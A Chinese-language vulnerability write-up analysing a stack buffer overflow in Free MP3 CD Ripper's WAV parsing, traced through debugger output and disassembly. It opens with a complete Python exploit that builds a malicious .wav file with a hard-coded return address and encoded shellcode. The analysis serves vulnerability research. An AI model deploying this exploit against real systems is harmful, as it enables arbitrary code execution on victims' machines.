作者:k0shl 转载请注明出处:http://whereisk0shl.top
漏洞说明
软件下载:
https://www.exploit-db.com/apps/64215b82be8bb2e749f95fec5b51d3e4-FMCRSetup-2.6.exe
PoC:
filename = "3v1lf1l3.wav"
print "cr34t1ng 3v1l f1l3"
junk ="\x41" * 4112
ret = "\xDC\x3A\xB4\x76"
nopsled = "\x90" * 15
shellcode = ("\x33\xc9\xb8\xa2\xe0\xe4\x44\xb1\x33\xda\xdf\xd9\x74\x24"
"\xf4\x5b\x31\x43\x0e\x03\x43\x0e\x83\x49\x1c\x06\xb1\x71"
"\x35\x4e\x3a\x89\xc6\x31\xb2\x6c\xf7\x63\xa0\xe5\xaa\xb3"
"\xa2\xab\x46\x3f\xe6\x5f\xdc\x4d\x2f\x50\x55\xfb\x09\x5f"
"\x66\xcd\x95\x33\xa4\x4f\x6a\x49\xf9\xaf\x53\x82\x0c\xb1"
"\x94\xfe\xff\xe3\x4d\x75\xad\x13\xf9\xcb\x6e\x15\x2d\x40"
"\xce\x6d\x48\x96\xbb\xc7\x53\xc6\x14\x53\x1b\xfe\x1f\x3b"
"\xbc\xff\xcc\x5f\x80\xb6\x79\xab\x72\x49\xa8\xe5\x7b\x78"
"\x94\xaa\x45\xb5\x19\xb2\x82\x71\xc2\xc1\xf8\x82\x7f\xd2"
"\x3a\xf9\x5b\x57\xdf\x59\x2f\xcf\x3b\x58\xfc\x96\xc8\x56"
"\x49\xdc\x97\x7a\x4c\x31\xac\x86\xc5\xb4\x63\x0f\x9d\x92"
"\xa7\x54\x45\xba\xfe\x30\x28\xc3\xe1\x9c\x95\x61\x69\x0e"
"\xc1\x10\x30\x44\x14\x90\x4e\x21\x16\xaa\x50\x01\x7f\x9b"
"\xdb\xce\xf8\x24\x0e\xab\xe7\xc6\x9b\xc1\x8f\x5e\x4e\x68"
"\xd2\x60\xa4\xae\xeb\xe2\x4d\x4e\x08\xfa\x27\x4b\x54\xbc"
"\xd4\x21\xc5\x29\xdb\x96\xe6\x7b\xb8\x79\x75\xe7\x11\x1c"
"\xfd\x82\x6d")
PirateAL = junk+ret+nopsled+shellcode
FILE = open(filename, "w")
FILE.write(PirateAL)
FILE.close()
print "t1m3 f0r pwn4g3"
测试环境:
windows xp sp3
运行PoC,生成一个畸形的wav文件,exp是我在EDB上找的,如果想触发比较整齐的畸形数据,可以把对应的junk,ret,sled以及shellcode内容替换成畸形数据,比如\x41,之后用Free MP3 CD Ripper打开畸形wav文件,引发崩溃。
漏洞复现
此漏洞是由于Free MP3 CD Ripper在处理wav文件时,调用sub_496F9C时对wav文件内容没有进行严格审查,从而导致在执行拷贝操作时造成缓冲区溢出,导致返回地址被覆盖。下面对此漏洞进行详细分析。
首先生成一个PoC,在程序中使用wav to mp3功能加载,程序崩溃,到达漏洞现场。
(318.778): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=000010cc edx=000010cc esi=41414141 edi=41414141
eip=41414141 esp=0216fee8 ebp=41414141 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
41414141 ?? ???
通过kb来回溯一下堆栈调用
0:005> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
0216fee4 41414141 41414141 41414141 41414141 0x41414141
*** WARNING: Unable to verify checksum for C:\Program Files\Free MP3 CD Ripper\fcrip.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Free MP3 CD Ripper\fcrip.exe
0216ffa0 004047fe 0216ffdc 00404374 0216ffb4 0x41414141
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -
0216ffb4 7c80b713 00bc49d0 00000000 e7ffffff fcrip+0x47fe
0216ffec 00000000 004047d4 00bc49d0 00000000 kernel32!GetModuleFileNameA+0x1b4
可以看到漏洞崩溃前调用了004047fe地址处前一个位置的内容,我们通过IDA来看一下这一块的调用代码。
CODE:004047D4 ; DWORD __stdcall StartAddress(LPVOID)
CODE:004047D4 StartAddress proc near ; DATA XREF: sub_40480C+2Eo
CODE:004047D4
CODE:004047D4 arg_0 = dword ptr 8
CODE:004047D4
CODE:004047D4 push ebp
CODE:004047D5 mov ebp, esp
CODE:004047D7 call sub_4038B4
CODE:004047DC push ebp
CODE:004047DD xor ecx, ecx
CODE:004047DF push offset loc_404374
CODE:004047E4 mov edx, fs:[ecx]
CODE:004047E7 push edx
CODE:004047E8 mov fs:[ecx], esp
CODE:004047EB mov eax, [ebp+arg_0]
CODE:004047EE mov ecx, [eax+4]
CODE:004047F1 mov edx, [eax]
CODE:004047F3 push ecx
CODE:004047F4 push edx
CODE:004047F5 call sub_402820
CODE:004047FA pop edx
CODE:004047FB pop eax
CODE:004047FC call edx
可以看到这个代码处于StartAddress的位置,应该是程序某个功能开始的位置,我们就从此处入手分析漏洞形成的原因。
漏洞分析
首先我们在此处下断点,重新加载程序,程序中断。
0:001> bp 004047FC
*** WARNING: Unable to verify checksum for C:\Program Files\Free MP3 CD Ripper\fcrip.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Free MP3 CD Ripper\fcrip.exe
0:001> g
Breakpoint 0 hit
eax=00bd85d0 ebx=00bc69ac ecx=00000000 edx=00424820 esi=0066ffff edi=00000020
eip=004047fc esp=0181ffa8 ebp=0181ffb4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
fcrip+0x47fc:
004047fc ffd2 call edx {fcrip+0x24820 (00424820)}
事实上,这一处并不是到达漏洞现场的调用,而是在第二次call调用的时候。
Breakpoint 0 hit
eax=00bfa078 ebx=00bc49d0 ecx=00000000 edx=00424820 esi=e7ffffff edi=00000000
eip=004047fc esp=0161ffa8 ebp=0161ffb4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
fcrip+0x47fc:
004047fc ffd2 call edx {fcrip+0x24820 (00424820)}
第二次到达后,单步跟入函数,单步跟踪到00424854这个地址,步过后到达漏洞现场。
0:002> p
eax=00bfa078 ebx=00bc49d0 ecx=00000000 edx=00492130 esi=e7ffffff edi=00000000
eip=00424854 esp=0161ff78 ebp=0161ffa0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
fcrip+0x24854:
00424854 ff5204 call dword ptr [edx+4] ds:0023:00492134=00493090
0:002> p
(3fc.5c8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=000010cc edx=000010cc esi=41414141 edi=41414141
eip=41414141 esp=0161fee8 ebp=41414141 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
41414141 ?? ???
其实edx+4存放的地址,是一处静态地址。
CODE:00492134 dd offset sub_493090
实际上调用的函数是sub_493090这个函数,那么接下来我们就在这个函数入口下断点,继续跟入。
0:005> p
eax=00bf9fac ebx=00bc49d0 ecx=00000000 edx=00000000 esi=e7ffffff edi=00000000
eip=004930c2 esp=01c1ff50 ebp=01c1ff70 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
fcrip+0x930c2:
004930c2 8b10 mov edx,dword ptr [eax] ds:0023:00bf9fac=0049b0c0
0:005> p
eax=00bf9fac ebx=00bc49d0 ecx=00000000 edx=0049b0c0 esi=e7ffffff edi=00000000
eip=004930c4 esp=01c1ff50 ebp=01c1ff70 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
fcrip+0x930c4:
004930c4 ff523c call dword ptr [edx+3Ch] ds:0023:0049b0fc=0049b404
0:005> p
(4a8.680): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=000010cc edx=000010cc esi=41414141 edi=41414141
eip=41414141 esp=01c1fee8 ebp=41414141 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
41414141 ?? ???
在sub_493090函数中的某处call调用步过后,再次到达漏洞现场。实际上原理和上面相同,都是静态函数的调用,由于我们最开始的调用点在最外层,因此连续调用原理类似,漏洞函数处于比较深的位置,接下来重复过程我不再过多描述。
再次进入内层函数。
0:005> p
eax=00bd1bc0 ebx=00bf9fac ecx=0216ff28 edx=004920b8 esi=e7ffffff edi=00000000
eip=0049b44e esp=0216ff38 ebp=0216ff70 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
fcrip+0x9b44e:
0049b44e 8b4344 mov eax,dword ptr [ebx+44h] ds:0023:00bf9ff0=00bd4000
0:005> p
eax=00bd4000 ebx=00bf9fac ecx=0216ff28 edx=004920b8 esi=e7ffffff edi=00000000
eip=0049b451 esp=0216ff38 ebp=0216ff70 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
fcrip+0x9b451:
0049b451 e8227affff call fcrip+0x92e78 (00492e78)
0:005> p
(4ec.700): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=000010cc edx=000010cc esi=41414141 edi=41414141
eip=41414141 esp=0216fee8 ebp=41414141 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
41414141 ?? ???
根据call函数再次进入内层函数
0:005> p
eax=00bd4000 ebx=00bf9fac ecx=7ffd4000 edx=00bd816c esi=e7ffffff edi=00000000
eip=00492ea5 esp=0216ff14 ebp=0216ff30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
fcrip+0x92ea5:
00492ea5 8b10 mov edx,dword ptr [eax] ds:0023:00bd4000=00494b10
0:005> p
eax=00bd4000 ebx=00bf9fac ecx=7ffd4000 edx=00494b10 esi=e7ffffff edi=00000000
eip=00492ea7 esp=0216ff14 ebp=0216ff30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
fcrip+0x92ea7:
00492ea7 ff5244 call dword ptr [edx+44h] ds:0023:00494b54=0049358c
0:005> p
(5d0.734): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=000010cc edx=000010cc esi=41414141 edi=41414141
eip=41414141 esp=0216fee8 ebp=41414141 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
41414141 ?? ???
以此类推,到达sub_496F9C这个函数,首先看看call调用部分。
0:005> p
eax=00bc49d0 ebx=00bd4000 ecx=01c1feb4 edx=00bd4000 esi=e7ffffff edi=00000000
eip=00495600 esp=01c1fee8 ebp=01c1ff00 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
fcrip+0x95600:
00495600 8b45fc mov eax,dword ptr [ebp-4] ss:0023:01c1fefc=00bd4000
0:005> p
eax=00bd4000 ebx=00bd4000 ecx=01c1feb4 edx=00bd4000 esi=e7ffffff edi=00000000
eip=00495603 esp=01c1fee8 ebp=01c1ff00 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
fcrip+0x95603:
00495603 e894190000 call fcrip+0x96f9c (00496f9c)
0:005> p
(af4.ba4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=000010cc edx=000010cc esi=41414141 edi=41414141
eip=41414141 esp=01c1fee8 ebp=41414141 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
41414141 ?? ???
可以看到,步过后,到达漏洞现场,我们进入这个函数看一下。
0:005> p
eax=00000000 ebx=00000005 ecx=00000005 edx=000010cc esi=00bd4000 edi=00000000
eip=00496ffd esp=01c1eec8 ebp=004920b8 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
fcrip+0x96ffd:
00496ffd baac744900 mov edx,offset fcrip+0x974ac (004974ac)
0:005> p
eax=00000000 ebx=00000005 ecx=00000005 edx=004974ac esi=00bd4000 edi=00000000
eip=00497002 esp=01c1eec8 ebp=004920b8 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
fcrip+0x97002:
00497002 8d441c08 lea eax,[esp+ebx+8]
0:005> dd edx
004974ac 46464952 00000000 45564157 00000000
004974bc 20746d66 00000000 74636166 00000000
004974cc 61746164 00000000 55575653 f004c481
004974dc 8350ffff f08bf8c4 00a086c6 33000000
004974ec 0004bbff 548d0000 04b90824 8b000000
004974fc 288b6846 810c55ff 002000fb d18d0f00
0049750c 8b000003 04f883c7 0396870f 24ff0000
0049751c 49752185 49753500 49757c00 4975c300
0:005> dc edx
004974ac 46464952 00000000 45564157 00000000 RIFF....WAVE....
004974bc 20746d66 00000000 74636166 00000000 fmt ....fact....
004974cc 61746164 00000000 55575653 f004c481 data....SVWU....
004974dc 8350ffff f08bf8c4 00a086c6 33000000 ..P............3
004974ec 0004bbff 548d0000 04b90824 8b000000 .......T$.......
004974fc 288b6846 810c55ff 002000fb d18d0f00 Fh.(.U.... .....
0049750c 8b000003 04f883c7 0396870f 24ff0000 ...............$
0049751c 49752185 49753500 49757c00 4975c300 .!uI.5uI.|uI..uI
可以看到,edx存放了各种文件类型,后面的函数会根据文件类型来进行不同语句的操作。我们通过IDA伪代码,可以看到case 1情形下调用了一个函数,这里的WAVE就是.wav文件的文件类型。
case 1:
if ( (unsigned __int8)sub_4954F4((int)((char *)&v27 + v3), (int)"WAVE", v2) )
{
result = (*(int (__fastcall **)(signed int, char *))(**(_DWORD **)(v5 + 88) + 12))(4, (char *)v28 + v3);
v3 += 4;
v4 = 2;
}
else
{
result = (*(int (__fastcall **)(signed int, char *))(**(_DWORD **)(v5 + 88) + 12))(1, (char *)v28 + v3++);
}
goto LABEL_43;
接下来我们在函数入口处下一个断点,连续跟踪发现了一个特点。
0:005> g
Breakpoint 1 hit
eax=01c1eed8 ebx=00000008 ecx=00000008 edx=004974ac esi=00bd4000 edi=00000000
eip=004954f4 esp=01c1eec4 ebp=004920b8 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
fcrip+0x954f4:
004954f4 56 push esi
0:005> g
Breakpoint 1 hit
eax=01c1eed9 ebx=00000009 ecx=00000009 edx=004974ac esi=00bd4000 edi=00000000
eip=004954f4 esp=01c1eec4 ebp=004920b8 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
fcrip+0x954f4:
004954f4 56 push esi
0:005> g
Breakpoint 1 hit
eax=01c1eeda ebx=0000000a ecx=0000000a edx=004974ac esi=00bd4000 edi=00000000
eip=004954f4 esp=01c1eec4 ebp=004920b8 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
fcrip+0x954f4:
004954f4 56 push esi
0:005> g
Breakpoint 1 hit
eax=01c1eedb ebx=0000000b ecx=0000000b edx=004974ac esi=00bd4000 edi=00000000
eip=004954f4 esp=01c1eec4 ebp=004920b8 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
fcrip+0x954f4:
004954f4 56 push esi
可以看到,ebx的值在不断递增,同时eax的值在不断递增,而eax寄存器的值像是一个地址,我们可以认为ebx是记录长度,eax是记录内容,那么我们来看看eax的内容。
0:005> dd eax
01c1eedb 41414141 00000000 00000000 00000000
01c1eeeb 00000000 00000000 00000000 00000000
01c1eefb 00000000 00000000 00000000 00000000
01c1ef0b 00000000 00000000 00000000 00000000
01c1ef1b 00000000 00000000 00000000 00000000
01c1ef2b 00000000 00000000 00000000 00000000
01c1ef3b 00000000 00000000 00000000 00000000
01c1ef4b 00000000 00000000 00000000 00000000
0:005> dd 01c1eeda
01c1eeda 41414141 00000041 00000000 00000000
01c1eeea 00000000 00000000 00000000 00000000
01c1eefa 00000000 00000000 00000000 00000000
01c1ef0a 00000000 00000000 00000000 00000000
01c1ef1a 00000000 00000000 00000000 00000000
01c1ef2a 00000000 00000000 00000000 00000000
01c1ef3a 00000000 00000000 00000000 00000000
01c1ef4a 00000000 00000000 00000000 00000000
可以看到,我们构造的畸形文件内容在不断拷贝到缓冲区中,那么在此行为之前没有进行任何的长度判断,那么我们直接跳过这个过程,找到sub_496f9c中找到函数结尾部分。
CODE:0049749E add esp, 100Ch
CODE:004974A4 pop ebp
CODE:004974A5 pop edi
CODE:004974A6 pop esi
CODE:004974A7 pop ebx
CODE:004974A8 retn
CODE:004974A8 sub_496F9C endp
我们可以在004974a8下一个断点,直接到ret位置。
0:005> bp 004974A8
0:005> bl
0 e 00496f9c 0001 (0001) 0:**** fcrip+0x96f9c
1 e 004954f4 0001 (0001) 0:**** fcrip+0x954f4
2 e 004974a8 0001 (0001) 0:**** fcrip+0x974a8
0:005> bc 1
0:005> g
Breakpoint 2 hit
eax=00000000 ebx=41414141 ecx=000010cc edx=000010cc esi=41414141 edi=41414141
eip=004974a8 esp=01c1fee4 ebp=41414141 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
fcrip+0x974a8:
004974a8 c3 ret
可以看到,拷贝行为之后,ebp已经被淹没,也就是说返回地址也会被淹没,造成缓冲区溢出漏洞。